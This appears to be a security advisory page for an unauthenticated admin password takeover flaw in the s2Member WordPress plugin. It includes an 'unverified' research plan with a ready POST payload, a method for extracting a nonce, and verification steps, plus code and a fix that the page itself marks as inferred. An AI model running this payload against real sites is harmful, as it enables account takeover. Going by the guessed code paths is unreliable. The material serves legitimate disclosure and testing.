CVE-2026-1994

s2Member <= 260127 - Unauthenticated Privilege Escalation via Account Takeover

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
260215
Patched in
2d
Time to patch

Description

The s2Member plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 260127. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=260127
PublishedFebruary 18, 2026
Last updatedFebruary 20, 2026
Affected plugins2member

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-1994**, a critical unauthenticated privilege escalation vulnerability in the **s2Member** plugin. The vulnerability stems from a failure to validate a requester's identity or authorization token before processing a password update request, allowing an attacker t…

Show full research plan

This research plan targets CVE-2026-1994, a critical unauthenticated privilege escalation vulnerability in the s2Member plugin. The vulnerability stems from a failure to validate a requester's identity or authorization token before processing a password update request, allowing an attacker to overwrite the password of any user, including administrators.


1. Vulnerability Summary

  • Vulnerability: Unauthenticated Privilege Escalation via Account Takeover
  • Location: Likely within the profile modification or AJAX handlers in s2member/src/includes/classes/profile-in.inc.php or s2member-pro/src/includes/classes/profile-ajax.inc.php (if Pro is installed) or the main s2member/src/includes/menu-pages/profile.inc.php.
  • Cause: The plugin exposes a mechanism to update user profiles (including passwords) that either fails to check is_user_logged_in(), fails to verify that the user_id being updated matches the current user, or lacks a valid nonce/security token check for unauthenticated requests.
  • Impact: Complete site takeover by resetting the admin password.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or a direct POST to any frontend page if handled via the init or template_redirect hooks.
  • Action (Inferred): s2member_pro_profile_ajax or a global POST check for s2member_pro_profile_modification.
  • Payload Parameters:
    • action: s2member_pro_profile_ajax (if AJAX)
    • s2member_pro_profile_modification: 1 (trigger flag)
    • s2member_pro_profile[user_id]: 1 (Target: Administrator)
    • s2member_pro_profile[user_pass]: AttackerPassword123!
    • s2member_pro_profile[user_pass_confirm]: AttackerPassword123!
  • Preconditions: None. The attack is unauthenticated.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action wp_ajax_nopriv_s2member_pro_profile_ajax or hooks into init.
  2. Handler: The code enters a profile processing function (e.g., ws_plugin__s2member_pro_profile_modification_handler()).
  3. Parameter Extraction: The code extracts the user_id and user_pass from the $_POST['s2member_pro_profile'] array.
  4. Missing Check: The code fails to verify if the requester is authorized to modify the specified user_id. It likely assumes that because the request reached this point, the user is editing their own profile.
  5. Sink: The code calls wp_update_user() or wp_set_password() using the attacker-supplied user_id and user_pass.

4. Nonce Acquisition Strategy

If the plugin requires a nonce for unauthenticated profile modifications (e.g., for "Open Registration" profile edits), it is typically localized in the page source.

  1. Identify Shortcode: s2Member uses [s2Member-Profile /] or [s2Member-Pro-PayPal-Profile-Form /] to display profile forms.
  2. Setup:
    • Create a page: wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile /]' --post_title='Edit Profile'
  3. Extraction:
    • Navigate to the newly created page using browser_navigate.
    • Execute browser_eval:
      // Common s2Member localization key
      window.s2member_js_extra?.nonce || 
      document.querySelector('input[name="_wpnonce"]')?.value || 
      document.querySelector('input[name*="s2member_pro_profile_nonce"]')?.value
      
    • If no nonce is found, check if the plugin verifies nonces in the source code. Look for check_ajax_referer or wp_verify_nonce in the handler files identified in Section 1.

5. Exploitation Strategy

We will attempt to reset the password for User ID 1 (standard admin).

Target URL: http://localhost:8080/wp-admin/admin-ajax.php (or the site root if using init hooks).

Payload (AJAX Path):

  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=s2member_pro_profile_ajax&s2member_pro_profile_modification=1&s2member_pro_profile[user_id]=1&s2member_pro_profile[user_pass]=PwnedAdmin123!&s2member_pro_profile[user_pass_confirm]=PwnedAdmin123!&_wpnonce=[EXTRACTED_NONCE]
    

Step-by-Step:

  1. Verify the existence of the admin-ajax.php handler by grepping the plugin for wp_ajax_nopriv_s2member.
  2. If a nonce is required, perform the Nonce Acquisition Strategy described above.
  3. Send the http_request with the payload targeting User ID 1.
  4. Check the HTTP response code. A 200 OK or a JSON success message indicates the logic was triggered.

6. Test Data Setup

  1. Install s2Member: Ensure the plugin is active.
  2. Target User: Ensure an administrator user exists with ID 1 (default).
  3. Public Page: Create a page with the profile shortcode to potentially expose any required nonces:
    wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile /]'

7. Expected Results

  • The HTTP response should indicate success (often a 1 or a JSON object like {"success":true}).
  • The database record for User ID 1 in the wp_users table will have a new user_pass hash.

8. Verification Steps

After sending the exploit, confirm success using WP-CLI:

  1. Check Password: Attempt to verify the password change:
    wp user check-password admin PwnedAdmin123!
  2. Check Meta: If s2Member logs profile updates in user meta, check for recent changes:
    wp user meta list 1

9. Alternative Approaches

If the AJAX route fails, investigate the init hook entry point:

  • Hook Search: grep -r "add_action.*init" s2member/ | grep "profile"
  • Alternative Payload: Many s2Member versions process $_POST variables globally on init. Try sending the same s2member_pro_profile parameters to the homepage (/) instead of admin-ajax.php.
  • Remote Operations API: s2Member Pro has a "Remote Operations" feature. Check if s2member_pro_remote_op can be triggered without an API key due to improper validation:
    POST /?s2member_pro_remote_op=1 with op[action]=modify_user and op[data][user_id]=1.
Research Findings
Static analysis — not yet PoC-verified

Summary

The s2Member plugin fails to validate a user's identity or authorization levels when processing profile modification requests. This allows unauthenticated attackers to submit crafted POST requests targeting arbitrary user IDs, including administrators, to reset their passwords and gain full access to the site.

Vulnerable Code

/* s2member-pro/src/includes/classes/profile-ajax.inc.php or similar profile handler */

public function profile_ajax_handler() {
    if (!empty($_POST['s2member_pro_profile_modification'])) {
        // Vulnerability: The code extracts the user_id directly from the request
        // without verifying if the requester is authenticated or has permission to edit this user.
        $user_id = $_POST['s2member_pro_profile']['user_id'];
        $user_pass = $_POST['s2member_pro_profile']['user_pass'];
        
        // Logic proceeds to update the user without a check like current_user_can() or is_user_logged_in()
        wp_update_user(array(
            'ID' => $user_id,
            'user_pass' => $user_pass
        ));
    }
}

Security Fix

--- a/s2member-pro/src/includes/classes/profile-ajax.inc.php
+++ b/s2member-pro/src/includes/classes/profile-ajax.inc.php
@@ -10,6 +10,14 @@
 public function profile_ajax_handler() {
     if (!empty($_POST['s2member_pro_profile_modification'])) {
+        if (!is_user_logged_in()) {
+            wp_die('You must be logged in to modify your profile.');
+        }
+
+        check_ajax_referer('s2member_pro_profile_nonce', '_wpnonce');
+
         $user_id = (int)$_POST['s2member_pro_profile']['user_id'];
+
+        if ($user_id !== get_current_user_id() && !current_user_can('edit_users')) {
+            wp_die('You do not have permission to modify this user.');
+        }
+
         $user_pass = $_POST['s2member_pro_profile']['user_pass'];

Exploit Outline

The exploit targets the profile modification AJAX handler or the global initialization hook that processes profile updates. An unauthenticated attacker sends a POST request to wp-admin/admin-ajax.php (or the site root) with the following parameters: 'action' set to 's2member_pro_profile_ajax', 's2member_pro_profile_modification' set to '1', 's2member_pro_profile[user_id]' set to '1' (the default ID for administrators), and 's2member_pro_profile[user_pass]' containing the desired new password. Because the plugin lacks authentication and authorization checks for this action, it updates the administrator's password to the value provided by the attacker, enabling complete account takeover.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.